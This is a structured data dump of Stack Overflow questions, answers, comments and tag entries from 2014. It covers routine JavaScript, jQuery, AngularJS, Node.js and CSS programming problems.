tags question: http://stackoverflow.com/q/25856946
tags question: http://stackoverflow.com/q/25717073
tags question: http://stackoverflow.com/q/25772742
tags question: http://stackoverflow.com/q/25792146
tags question: http://stackoverflow.com/q/25779062
tags question: http://stackoverflow.com/q/25715648
tags question: http://stackoverflow.com/q/25738118
tags question: http://stackoverflow.com/q/25789097
tags question: http://stackoverflow.com/q/25763948
tags question: http://stackoverflow.com/q/25763558
tags question: http://stackoverflow.com/q/25803158
tags question: http://stackoverflow.com/q/25733022
tag name: svg
tags question: http://stackoverflow.com/q/25866342
tags question: http://stackoverflow.com/q/25834050
tags question: http://stackoverflow.com/q/25781440
tags question: http://stackoverflow.com/q/25774967
tags question: http://stackoverflow.com/q/25729368
tags question: http://stackoverflow.com/q/25804732
tags question: http://stackoverflow.com/q/25868244
tags question: http://stackoverflow.com/q/25847141
tags question: http://stackoverflow.com/q/25730263
tags question: http://stackoverflow.com/q/25778084
tags question: http://stackoverflow.com/q/25845206
tags question: http://stackoverflow.com/q/25796913
tags question: http://stackoverflow.com/q/25785998
tags question: http://stackoverflow.com/q/25767074
tags question: http://stackoverflow.com/q/25774527
tags question: http://stackoverflow.com/q/25738548
tags question: http://stackoverflow.com/q/25796320
tags question: http://stackoverflow.com/q/25750854
tags question: http://stackoverflow.com/q/25720319
tags question: http://stackoverflow.com/q/25748478
tags question: http://stackoverflow.com/q/25864663
tags question: http://stackoverflow.com/q/25828004
tags question: http://stackoverflow.com/q/25775807
type: Tag

http://stackoverflow.com/q/25722876
tagged with: ecmascript-5
tagged with: javascript
tagged with: number-formatting
score: 6
has body: I'm trying to use the new Javascript internationalization API, and would like to know if there is a way to get the decimal and thousands (grouping) separator for a Intl.NumberFormat instance? There is a resolvedOptions method on the object, but that does not provide the symbols. In case anybody's wondering, then for en-US, these would be a comma , and period ., such as in 1,000.00.
answer count: 2
has answer: http://stackoverflow.com/a/25729759
has answer: http://stackoverflow.com/a/25761750
has comment: http://stackoverflow.com/comment/40249800
has title: Is there a way to get the decimal and thousands separator in ECMAscript Internationalization API?
downvote count: 0
has comment: http://stackoverflow.com/comment/40245659
favorite count: 0
has comment: http://stackoverflow.com/comment/40285099
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/111153152
tagged with: ecmascript-intl
has comment: http://stackoverflow.com/comment/40213321
upvote count: 6
tagged with: internationalization
has comment: http://stackoverflow.com/comment/40249683
linked to: http://stackoverflow.com/q/33159354
has comment: http://stackoverflow.com/comment/40280393
type: Question
has comment: http://stackoverflow.com/comment/40249970

http://stackoverflow.com/comment/40283908
score: 0
comment on: http://stackoverflow.com/a/25760545
type: AnswerComment
type: Comment
has text: Could you please explain why this deserves a downvote, so that I can improve it? Thank you :)

http://stackoverflow.com/q/25804767
has answer: http://stackoverflow.com/a/25804896
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40364265
type: Question
upvote count: 4
answer count: 2
has body: Can you run an Angular service (or a function on that service) before anything else? Ideally, as soon as ng-app gets parsed. Here's my use case: I'm writing an app that gets AJAX data from a server and then parses the data a hundred different ways. I would like to make the initial AJAX call before all the controllers get called? That way I just have all the data parsed and loaded in the service without me worrying about updating any controllers or whatever.
has comment: http://stackoverflow.com/comment/40363860
downvote count: 0
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25804896
tagged with: ajax
tagged with: angularjs
possible better answer: http://stackoverflow.com/a/25805945
has comment: http://stackoverflow.com/comment/40365824
has answer: http://stackoverflow.com/a/25805945
favorite count: 0
score: 4
has comment: http://stackoverflow.com/comment/40363841
has title: Angular.js - running a service function before anything else?

http://stackoverflow.com/comment/40366246
type: Comment
type: QuestionComment
has text: @SvenHasselbach every repeat control has a indexVar which I've set it to index value. I want to see how many times it repeats.
comment on: http://stackoverflow.com/q/25805075
score: 0

http://stackoverflow.com/comment/40454576
comment on: http://stackoverflow.com/q/25854377
has text: @tymeJV: I guess, JS function call's missing `()` so the function is not setting value of controls.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40301864
has text: Why `++i` instead of `i + 1`?
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25770662

http://stackoverflow.com/comment/40475488
type: QuestionComment
comment on: http://stackoverflow.com/q/25866103
has text: Your fiddle has errors.
score: 0
type: Comment

http://stackoverflow.com/q/25730857
tagged with: jquery
has answer: http://stackoverflow.com/a/25730943
has comment: http://stackoverflow.com/comment/40228218
has answer: http://stackoverflow.com/a/25730889
downvote count: 1
accepted answer: http://stackoverflow.com/a/25730889
tagged with: momentjs
has comment: http://stackoverflow.com/comment/40228214
favorite count: 0
has comment: http://stackoverflow.com/comment/40228261
type: AnsweredQuestion
upvote count: 0
has title: What is the best way substracting weeks from a given date with moment.js?
score: -1
tagged with: date
type: Question
has body: What is the best way to substract weeks from a given date with moment.js? Let's say I am getting a date from the user with dd-mm-yyyy format. I would like to display date - 10weeks. For example, let's say the user input is: 18042013 The result should be: 18042013 - 10weeks I am playing with momentjs but cannot figure out how to achieve this. Any idea?
answer count: 2
possible better answer: http://stackoverflow.com/a/25730943
tagged with: javascript

http://stackoverflow.com/comment/40389312
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25818422
has text: woops! Thanks for catching that, I meant to update it before I posted.

http://stackoverflow.com/comment/40233513
comment on: http://stackoverflow.com/a/25733317
score: 0
type: AnswerComment
type: Comment
has text: I've updated the answer and the JSFiddle. Does that do what you want?

http://stackoverflow.com/comment/40202155
comment on: http://stackoverflow.com/q/25714744
has text: P.S. Could you re-write the question so that it stands more on its own (without having to click through to Plunker)?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40230565
comment on: http://stackoverflow.com/a/25730898
score: 0
type: AnswerComment
has text: With regard to the `$("div:has('#myelementid')")` examples, the target element (i.e. `#myelementid`) needs to be the element to which the find selector is applied as it will likely be dynamic (e.g. the element clicked etc) and may not have an id. You have however given me some new ideas to follow on with.
type: Comment

http://stackoverflow.com/a/25840132
has comment: http://stackoverflow.com/comment/40430892
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40445924
upvote count: 1
answers question: http://stackoverflow.com/q/25839482
score: 1
has body: It's actually quite straight forward EDIT use arguments[0][typeId] &lt;input value="&lt;%= arguments[0][typeID] %&gt;" name=&lt;%= (key).toLowerCase() +"_id"%&gt; type="text"/&gt; Don't use eval, even if no one screams at you ;) Here's a link to the working fiddle: http://jsfiddle.net/j872q5gm/1/ Thanks @Adrian Lynch for reminding me to be a good JS citizen ;)

http://stackoverflow.com/comment/40474117
comment on: http://stackoverflow.com/a/25864292
type: AnswerComment
score: 0
type: Comment
has text: are you using the http(s):// in front of the URL? Without it won't work for me either.

http://stackoverflow.com/comment/40383480
has text: The above code will work perfectly. There is no role of Jquery in the code given above. IS your Founder.html loading correctly as a standalone file?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25815398

http://stackoverflow.com/a/25860496
accepted answer of: http://stackoverflow.com/q/25860470
has comment: http://stackoverflow.com/comment/40465787
upvote count: 2
has comment: http://stackoverflow.com/comment/40465897
has comment: http://stackoverflow.com/comment/40465847
has comment: http://stackoverflow.com/comment/40466313
has comment: http://stackoverflow.com/comment/70737129
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40466366
has comment: http://stackoverflow.com/comment/70687302
has comment: http://stackoverflow.com/comment/40466660
has comment: http://stackoverflow.com/comment/70646708
answers question: http://stackoverflow.com/q/25860470
type: Answer
has body: I use formidable for file uploads. You can either store them inside of a directory or you can use Amazon S3 to store them on their servers. It works like a charm. Here is what some code looks like: // At the top of your modules var formidable = require('formidable'); var form = new formidable.IncomingForm(); //Receive form form.parse(req, function(err, fields, files) { //Parse form and data // Do form stuff, you can access the files }); With jQuery, you can do the following: $('#your_form').on('submit', function(e) { var formData = new FormData($(this)[0]); $.ajax({ url : '/your/url/', type: 'POST', contentType: 'multipart/form-data', data: formData, success: function (msg) { console.log(msg); }, processData: false }); e.preventDefault(); });
has comment: http://stackoverflow.com/comment/40501389
score: 2

http://stackoverflow.com/comment/40363223
score: 0
type: Comment
type: QuestionComment
has text: @hitesh sure; http://api.jquery.com/jquery.parsejson/
comment on: http://stackoverflow.com/q/25804236

http://stackoverflow.com/comment/40412454
score: 1
has text: I can't use req.isAuthenticated because I can't put passport.authenticate() before this. Why? Because non-authenticated users would get rejected. I don't have a session, it's a stateless API, just a bearer token. If I put passport.authenticate() in the route, some users would get a 401. I want them to pass, only get limited info.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25806339

http://stackoverflow.com/q/25836558
tagged with: javascript
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has comment: http://stackoverflow.com/comment/40422034
has body: I need to use two different styles for two different looks of a page and I need different CSS and JavaScript files for that. Is there anyway I could conditionally render CSS and JavaScript files inside the head element in an html file? I am working on an AngularJS application with Angular UI-Router module. &lt;html lang="en" ng-app="myApp"&gt; &lt;head&gt; &lt;!-- if {{$state.current.name}} is "front" then list these CSS files --&gt; &lt;!-- if {{$state.current.name}} is "admin" then list these CSS files --&gt; &lt;/head&gt; &lt;body&gt; &lt;!-- ... --&gt; &lt;!-- if {{$state.current.name}} is "front" then list these JavaScript files --&gt; &lt;!-- if {{$state.current.name}} is "admin" then list these JavaScript files --&gt; &lt;/body&gt; &lt;/html&gt; Could somebody help me with it?
tagged with: angularjs
has title: How to conditionally render CSS and JavaScript inside head element of an HTML
has comment: http://stackoverflow.com/comment/40422329
tagged with: css
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25838797
accepted answer: http://stackoverflow.com/a/25838797
type: Question
tagged with: angular-ui-router

http://stackoverflow.com/comment/40389240
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25818334
has text: Well, your example is not async when it first runs. But the main idea is here. Thank you :)
type: Comment

http://stackoverflow.com/q/25822464
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40396357
has comment: http://stackoverflow.com/comment/40396350
tagged with: checkbox
has comment: http://stackoverflow.com/comment/40396396
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25822559
has comment: http://stackoverflow.com/comment/40396417
has title: array of checkbox value checked and unchecked
has answer: http://stackoverflow.com/a/25822597
type: Question
has answer: http://stackoverflow.com/a/25822559
answer count: 2
tagged with: arrays
has body: I have this function, when I checked one or more checkbox the function load the value of the checked checkbox...but when I unchecked one or more check box the function show an empty array. this is the function: $(document).ready(function () { $('input[type="checkbox"]').change(function () { var mycheck = new Array(); if ($(this).is(':checked')) { $("#line-checkbox-1:checked").each(function () { mycheck.push($(this).val());//aggiungo value del checked }); alert(mycheck) } else { var itemtoRemove = $(this); mycheck.splice($.inArray(itemtoRemove, mycheck), 1); //rimuovo il value del dechecked alert(mycheck); } }); This is HTML of the checkbox: &lt;div class="col-lg-3"&gt; &lt;input tabindex="17" id="line-checkbox-1" type="checkbox" name="servizi" value="3"&gt; &lt;/div&gt;
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40396289
possible better answer: http://stackoverflow.com/a/25822597
score: 0

http://stackoverflow.com/a/25716576
has comment: http://stackoverflow.com/comment/40202816
has comment: http://stackoverflow.com/comment/40400730
has comment: http://stackoverflow.com/comment/40203212
has comment: http://stackoverflow.com/comment/40268834
score: 0
has comment: http://stackoverflow.com/comment/40333809
has comment: http://stackoverflow.com/comment/40274732
has comment: http://stackoverflow.com/comment/40412088
has body: [EDIT]: Here is the solution of reversing the column in JQuery. Click 1985 Jul 1986 Jan-Feb // Remember to include JQuery library.
has comment: http://stackoverflow.com/comment/40461978
has comment: http://stackoverflow.com/comment/40311394
type: Answer
has comment: http://stackoverflow.com/comment/40462013
has comment: http://stackoverflow.com/comment/40394036
has comment: http://stackoverflow.com/comment/40419175
answers question: http://stackoverflow.com/q/25716384

http://stackoverflow.com/comment/40287981
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25763329
score: 2
has text: Yes, gain access to Bob's server and add `Access-Control-Allow-Origin` -- just like the error message is telling you.

http://stackoverflow.com/q/25736042
tagged with: audio
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25747742
has comment: http://stackoverflow.com/comment/40242064
type: Question
has title: Web Audio frequency limitation?
tagged with: javascript
score: 4
upvote count: 4
has answer: http://stackoverflow.com/a/25756578
downvote count: 0
tagged with: web-audio-api
favorite count: 0
tagged with: fft
has body: My goal is to generate an audio at a certain frequency and then check at what frequency it is using the result of FFT. function speak() { gb.src = gb.ctx.createOscillator(); gb.src.connect(gb.ctx.destination); gb.src.start(gb.ctx.currentTime); gb.src.frequency.value = 1000; } function listen() { navigator.getUserMedia = (navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia); navigator.getUserMedia({ audio : true, video : false }, function(stream) { gb.stream = stream; var input = gb.ctx.createMediaStreamSource(stream); gb.analyser = gb.ctx.createAnalyser(); gb.analyser.fftSize = gb.FFT_SIZE; input.connect(gb.analyser); gb.freqs = new Uint8Array(gb.analyser.frequencyBinCount); setInterval(detect, gb.BIT_RATE / 2); }, function(err) { console.log('The following gUM error occured: ' + err); }); } See working example at http://codepen.io/Ovilia/full/hFtrA/ . You may need to put your microphone near the speaker to see the effect. The problem is, when the frequency is somewhere larger than 15000 (e.g. 16000), there seems not to be any response at high frequency area any more. Is there any limit of frequency with Web Audio, or is it the limit of my device? What is the unit of each element when I get from getByteFrequencyData?
has answer: http://stackoverflow.com/a/25755829
tagged with: http://stackoverflow.com/tag/html
answer count: 4
has answer: http://stackoverflow.com/a/25747518

http://stackoverflow.com/comment/40989739
has text: If your objects are heavily variadic then hash table is the most optimal representation
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25805847

http://stackoverflow.com/q/25750908
has answer: http://stackoverflow.com/a/25750972
score: 1
type: Question
answer count: 2
linked to: http://stackoverflow.com/q/5874652
has body: Take the following scenario: you have 2 radio buttons, both with the same name, and both checked (I realize that's invalid): &lt;input type="radio" class="input" name="cb1" checked="checked" /&gt; &lt;input type="radio" class="input" name="cb1" checked="checked" /&gt; Why do the following two selectors behave differently? $('.input:checked').size(); // returns 1 $('.input[checked=checked]').size(); // returns 2 Apparently, the first selector returns only the checkbox that occurs last in the markup, while the first selector returns both.
tagged with: jquery-selectors
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40265572
accepted answer: http://stackoverflow.com/a/25750972
has title: $('.input:checked') behaves differently than $('.input[checked=checked]')
linked to: http://stackoverflow.com/q/19246714
upvote count: 1
possible better answer: http://stackoverflow.com/a/25751064
has answer: http://stackoverflow.com/a/25751064
type: AnsweredQuestion

http://stackoverflow.com/comment/40373949
type: Comment
comment on: http://stackoverflow.com/a/25810369
has text: Popnoodles Okay, I will add it as a Answer Your Question comment.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25747285
type: Question
has comment: http://stackoverflow.com/comment/40258824
tagged with: javascript
has comment: http://stackoverflow.com/comment/40263897
has comment: http://stackoverflow.com/comment/40258931
tagged with: udp
has comment: http://stackoverflow.com/comment/40259443
has comment: http://stackoverflow.com/comment/40259245
has comment: http://stackoverflow.com/comment/40258987
has comment: http://stackoverflow.com/comment/40259261
has body: I wish to create a simple file upload program using UDP protocol in node.js. Is it possible to use it instead of TCP? Any examples or suggestions?
type: UnansweredQuestion
tagged with: node-webkit
has title: File upload program using UDP protocol in node.js?
tagged with: node.js
has comment: http://stackoverflow.com/comment/40259034
has comment: http://stackoverflow.com/comment/40259364
has comment: http://stackoverflow.com/comment/40259820
answer count: 0
has comment: http://stackoverflow.com/comment/40268419
score: 0
has comment: http://stackoverflow.com/comment/40259377

maps
tags question: http://stackoverflow.com/q/25794816
tag name: maps
tags question: http://stackoverflow.com/q/25738343
tags question: http://stackoverflow.com/q/25811174
type: Tag

http://stackoverflow.com/comment/40271051
type: QuestionComment
comment on: http://stackoverflow.com/q/25753136
score: 0
type: Comment
has text: All that `downarrow` animation can be chained together to reduce the calls to jQuery. `$('.downarrow').animate( {settings} ).delay(600).animate( {settings} ).animate( {settings} ).css( {marginTop: "20px"} );`

http://stackoverflow.com/a/25808045
type: Answer
has body: Found the problem, below is the fix. We have to enable the "Disable layer squashing " option on chrome from here chrome://flags/#disable_layer_squashing P.S Thanks to @SebastianBochan and @HristoValkanov for guiding me to the solution.
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/89513307
answers question: http://stackoverflow.com/q/25791379
has comment: http://stackoverflow.com/comment/49499798
score: 0
has comment: http://stackoverflow.com/comment/80824381

http://stackoverflow.com/comment/40392133
type: Comment
comment on: http://stackoverflow.com/q/25819570
score: 0
has text: Something else that would help with answering this question is **how** it isn't working. Is it always submitting despite having invalid dates? Is it never submitting even when it has dates that should pass the validation?
type: QuestionComment

http://stackoverflow.com/comment/40298185
type: Comment
type: QuestionComment
has text: You should be using PDO my friend. http://php.net/manual/en/book.pdo.php
score: 1
comment on: http://stackoverflow.com/q/25768904

http://stackoverflow.com/comment/40479137
has text: @TharikKanaka See this article, https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval, particularly the section called "Don't use eval needlessly!". Essentially the `eval` function opens a very simple gateway for malicious code to be injected into your code. Moreover, it is a very slow way to translate a `string` into a JavaScript value, there are almost always faster, better, safer, ways than using `eval`.
score: 0
comment on: http://stackoverflow.com/q/25860106
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25791327
accepted answer of: http://stackoverflow.com/q/25790986
has comment: http://stackoverflow.com/comment/40340001
score: 3
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40340493
has comment: http://stackoverflow.com/comment/40340813
type: Answer
upvote count: 3
answers question: http://stackoverflow.com/q/25790986
has comment: http://stackoverflow.com/comment/40339120
has comment: http://stackoverflow.com/comment/40339787
has comment: http://stackoverflow.com/comment/40341233
has body: here you go : if you are sure that they will definitly be a member of one of the notifications array elements called logout then this function will return his icon member function getIcon() { for(i=0;i&lt;settings.notifications.length;i++) { if(typeof(settings.notifications[i].logout)!=='undefined') { return settings.notifications[i].logout.icon; } } return false; } undefined was writting wrong ! and thinks to Felix Kling you need to add typeof befor comparing with 'undefined'.

http://stackoverflow.com/a/25852540
downvote count: 0
type: Answer
has body: Using RegExp to strip off all the query part from a URL: jQuery(function ($) { $('img').attr('src', function(index, attr) { return attr.replace(/\?.*$/i, ''); }); });
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/25852154

http://stackoverflow.com/a/25775567
has body: Will only work for arrays. You can't traverse objects this way. Will only work for arrays. Slower than #1, but by creating a new function scope you ensure that any asynchronous callbacks containing your index or item parameters are capturing the current value as they pass through the scope rather than their final value. Works great for walking over objects as well as arrays. Slightly slower than #1 when dealing with arrays. This can be dangerous because some naughty libraries like PrototypeJS add properties to the Array prototype, which means you'll end up with indexes that don't actually represent items in the array. Don't use this if there is any chance of your code being used on the same page as a library that does this. Another interesting difference arises if you have "undefined" values in your array. In my experience, this is uncommon, but it would make a difference. For example: var array = [0, undefined, 2, 3]; array[2] = undefined; delete array[3]; array[5] = 5; Approach #1 hits indexes 0, 1, 2, 3, 4, 5, showing undefined values at 1, 2, 3, and 4. Approaches #2 and #3 hit indexes 0, 1, 2, 5, showing undefined values at 1 and 2.
upvote count: 1
score: 0
answers question: http://stackoverflow.com/q/25775486
downvote count: 1
type: Answer

http://stackoverflow.com/q/25727050
has comment: http://stackoverflow.com/comment/40232873
tagged with: ember.js
has comment: http://stackoverflow.com/comment/40230408
has comment: http://stackoverflow.com/comment/40230120
score: 0
has comment: http://stackoverflow.com/comment/40272729
has title: How to translate content from select in ember with ember-i18n addon?
has comment: http://stackoverflow.com/comment/40268412
has comment: http://stackoverflow.com/comment/40229680
has comment: http://stackoverflow.com/comment/40264985
has comment: http://stackoverflow.com/comment/40222322
has body: I´ve the follwing code from the ember.select example http://emberjs.com/api/classes/Ember.Select.html var yehuda = {firstName: "Yehuda", id: 1, bff4eva: 'tom'} var tom = {title: "totranslate", id: 2, bff4eva: 'yehuda'}; App.ApplicationController = Ember.ObjectController.extend({ selectedPerson: tom, programmers: [ yehuda, tom ] }); How would i translate the title "totranslate"? Ember-i18n addon (https://github.com/jamesarosen/ember-i18n) is setup and working.
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40268631
tagged with: ember-i18n
answer count: 0
has comment: http://stackoverflow.com/comment/40225707
has comment: http://stackoverflow.com/comment/40224749
type: Question

http://stackoverflow.com/comment/40385667
score: 0
type: Comment
has text: Thanks @Cohars .. this clear the idea .. I will try to my code and tell you the result .. I appreciate your help a lot.
type: AnswerComment
comment on: http://stackoverflow.com/a/25815901

http://stackoverflow.com/comment/40311176
type: QuestionComment
comment on: http://stackoverflow.com/q/25774993
score: 0
has text: Have you tried putting the jquery bundle first?
type: Comment

http://stackoverflow.com/q/25846633
type: UnansweredQuestion
tagged with: css
has answer: http://stackoverflow.com/a/25846704
has answer: http://stackoverflow.com/a/25846884
has title: How to create a CSS class to make input field is readonly
type: Question
linked to: http://stackoverflow.com/q/16811045
score: 0
has comment: http://stackoverflow.com/comment/40440071
tagged with: javascript
has body: I want to create a CSS class to make input field is readonly. Here is my try: &lt;style&gt; .enableInput input[readonly] { color: #CB000F; } &lt;/style&gt; &lt;script&gt; function changeCss() { $("#desg").addClass("enableInput input"); } &lt;/script&gt; &lt;/head&gt; FirstName:&lt;input type="text" name='fname' id='fname' onBlur="changeCss();"&gt; Designation:&lt;input type="text" name='desg' id='desg' value='Software Engr'&gt; &lt;/html&gt;
has answer: http://stackoverflow.com/a/25846658
answer count: 3

http://stackoverflow.com/comment/40435607
type: Comment
type: QuestionComment
has text: Of course, in fact I can see all the elements I create, but CSS is never applied on them.
comment on: http://stackoverflow.com/q/25843799
score: 0

http://stackoverflow.com/comment/40212955
type: QuestionComment
has text: There is *no* provision in ECMAScript for this "exposing of references"; the specification doesn't even define "references" as such. There might be something node-specific.
score: 0
comment on: http://stackoverflow.com/q/25722705
type: Comment

http://stackoverflow.com/q/25798309
answer count: 1
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
has title: javascript error 'function not defined' with html onclick
tagged with: onclick
downvote count: 2
upvote count: 1
type: Question
has body: The goal is when someone clicks the button element the closeModal() function is triggered and changes the display css property to 'none.' But I keep getting the error that the function set in the onclick is not defined. The javascript is above the html in the file. Code is below. Javascript function closeModal() { var modal = document.getElementById('modal'); $( modal ).css('display', 'none'); } HTML Let's get started!
has answer: http://stackoverflow.com/a/25798407
tagged with: javascript
score: -1
has comment: http://stackoverflow.com/comment/40352412
accepted answer: http://stackoverflow.com/a/25798407

http://stackoverflow.com/a/25718822
type: Answer
score: 0
has body: Using Array.prototype.concat() on a non-array (even an array-like-object), can cause it to add the object itself to the resulting array instead of its contents. Your code was also not actually using [p] in the concat() call other than simply using it to indirectly access Array.prototype.concat(). Try this: function getlog(p) { return function() { var mainArguments = [p].concat(Array.prototype.slice.call(arguments)); console.log.apply(console, mainArguments); }; }
answers question: http://stackoverflow.com/q/25717947

http://stackoverflow.com/comment/40467693
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25861373
has text: Routes are changing fine. You have not added place to include the template for login

http://stackoverflow.com/comment/40262436
has text: Thanks guys i have spent 2 two days googleing it when the answer was right there in my console! Really appreciate it! Got it to work too! Ill edit my code for others to see.
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/25749037

http://stackoverflow.com/q/25872698
has comment: http://stackoverflow.com/comment/40488644
has title: How to send the contents of a text area to a function in Typescript / Javascript / Html
answer count: 2
has comment: http://stackoverflow.com/comment/40489415
has comment: http://stackoverflow.com/comment/40488509
tagged with: function
downvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/25909667
tagged with: http://stackoverflow.com/tag/html
has body: Probably a very simple question, but I can't seem to find a way of sending a piece of data from a textarea to a javascript/typescript function. HTML use this page to log errors PreviousErrors Java/TypeScript Having only recently found out that typescript and javascript are virtually identical anyway, I feel slightly embarrassed that starting up typescript has been such a battle - nothing like c#/vb/etc. QUESTION I have been trying to send data from this dxtextArea control to a function. as you can see, I have already tried using the innerText, however, this seems to send nothing into the function (getting the error: 'Uncaught TypeError: Cannot read property 'innerText' of null', line 1, file 'http://localhost:51828/index.html#'. even when data is present in the textArea. Anyone come across this issue/know how to solve it/ or is it just my stupidity and naivety in knowledge of Java/typescript? EDIT I have been told to change my Method call from innerText to value (and add quotes around the ID), but this still hasn't solved the issue: saveMyData(document.getElementById('curError').value)" EDIT 2 My Full Script: Use this page to log errors PreviousErrors
has comment: http://stackoverflow.com/comment/40489335
possible better answer: http://stackoverflow.com/a/25885118
has comment: http://stackoverflow.com/comment/40490060
tagged with: devextreme
has comment: http://stackoverflow.com/comment/40489926
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40489457
upvote count: 2
has answer: http://stackoverflow.com/a/25909667
has comment: http://stackoverflow.com/comment/40489541
has answer: http://stackoverflow.com/a/25885118
type: Question
tagged with: typescript
has comment: http://stackoverflow.com/comment/40490095
tagged with: javascript

http://stackoverflow.com/a/25833445
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25833365
answers question: http://stackoverflow.com/q/25833365
type: Answer
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40417196
has body: You have used "else if" instead of "if". So, only one will be executed always

http://stackoverflow.com/comment/40488191
has text: you should iterate over days and not posts, don't you think? do you want to show a calendar?
comment on: http://stackoverflow.com/q/25872810
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25805237
score: 1
upvote count: 1
downvote count: 0
has body: You can concat the arrays using pure javascript like this: var obj = { alpha: ["vatG4d6mcjKbpfuAm", "xkQrKEsfwuYPkDcdz", "GDg9chZnDGrbLXWGS"], bravo: ["53LEcQ5MoYXFyvktf"] }; var obj.charlie = obj.alpha.concat(obj.bravo); // obj.charlie = ["vatG4d6mcjKbpfuAm", "xkQrKEsfwuYPkDcdz", "GDg9chZnDGrbLXWGS", "53LEcQ5MoYXFyvktf"]
answers question: http://stackoverflow.com/q/25805148
type: Answer

http://stackoverflow.com/comment/40383889
comment on: http://stackoverflow.com/q/25815392
has text: i think I get it. In your input change function you should check the sibling inputs to make sure none of them are selected before removing the selected class.
score: 0
type: Comment
type: QuestionComment

state
tag name: state
type: Tag
tags question: http://stackoverflow.com/q/25798803

http://stackoverflow.com/comment/40404551
type: AnswerComment
type: Comment
has text: If that's the case, then you're likely in good shape. Do test in other browsers though, as each browser has different implementation.
comment on: http://stackoverflow.com/a/25825747
score: 0

http://stackoverflow.com/q/25857729
has answer: http://stackoverflow.com/a/25862131
answer count: 1
tagged with: websocket
accepted answer: http://stackoverflow.com/a/25862131
tagged with: node.js
has title: Node.js and socket.io is not allowing to connect and exchange data
type: AnsweredQuestion
has body: I am trying to connect 2 users in 1 room and exchange some data, how can i do that? when i accessing the server getting only : abba server.js: var http = require('http'); var app = http.createServer(function(req, res) { res.writeHead(200, {'Content-Type': 'text/html'}); res.end('abba'); }); var io = require('socket.io').listen(app); var messageExchange = io .of('/play') .on('connection', function (socket) { socket.channel = ""; socket.on("joinChannel", function (data) { socket.channel = data.channel; }); socket.on("message", function (data) { socket.broadcast.emit("message", { channel: socket.channel, message: data.message }); }); }); app.listen(3000); client: &lt;script&gt; var chat = io.connect('//talk.test.com:3000/play'); var channel = "ciao"; chat.on("connect", function () { chat.emit("joinChannel", { channel: channel }); }); chat.on("message", function (data) { if (data.channel == channel) { alert(data.message); } }); // Send a message! chat.emit("message", { message: "hola" }); &lt;/script&gt;
score: 0
tagged with: google-chrome
tagged with: socket.io
type: Question
tagged with: javascript

http://stackoverflow.com/a/25804652
answers question: http://stackoverflow.com/q/25804087
type: Answer
has body: Please try this demo: http://jsfiddle.net/n9fwyw20/1/ I've made a couple of modifications, but I think you will understand them. Also I've added a event handler function to prevent your form to be submitted, so you will have to think of another way to send the form data, as for example an ajax submit. formOnSubmit = function() { //Add your ajax call here var jsonRow = { "Img": document.getElementById("img").value , "Species": document.getElementById("species").value, "Class": document.getElementById("class").value, "Color": document.getElementById("color").value } addRow(jsonRow); parser.classification.push(jsonRow); return false; } Cheers!
score: 0
accepted answer of: http://stackoverflow.com/q/25804087
type: AcceptedAnswer

http://stackoverflow.com/comment/40215092
type: QuestionComment
comment on: http://stackoverflow.com/q/25723884
score: 0
has text: @SleepDeprivedBulbasaur I disagree. That's been explained about several hundred times or more elsewhere and Google is a great tool.
type: Comment

http://stackoverflow.com/comment/40319630
comment on: http://stackoverflow.com/q/25778251
score: 0
type: Comment
type: QuestionComment
has text: It doesn't hurt to try and wrap your code in `DOMContentLoaded` listener.

http://stackoverflow.com/q/25765043
tagged with: css
has answer: http://stackoverflow.com/a/25765154
has comment: http://stackoverflow.com/comment/40291013
has answer: http://stackoverflow.com/a/25765159
has answer: http://stackoverflow.com/a/25765103
has title: How to hide a div using javascript
has body: I want to hide a div using Javascript. Below is my div. close I tried below javascript, but didnt work. $(".ui-dialog-titlebar").css('display','none'); Any idea?
type: Question
has comment: http://stackoverflow.com/comment/40290736
tagged with: javascript
answer count: 6
upvote count: 2
score: 0
downvote count: 2
has comment: http://stackoverflow.com/comment/40290761
has answer: http://stackoverflow.com/a/25765191
has answer: http://stackoverflow.com/a/25765070
tagged with: jquery
has answer: http://stackoverflow.com/a/25765083
favorite count: 0
has comment: http://stackoverflow.com/comment/40290710
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40318353
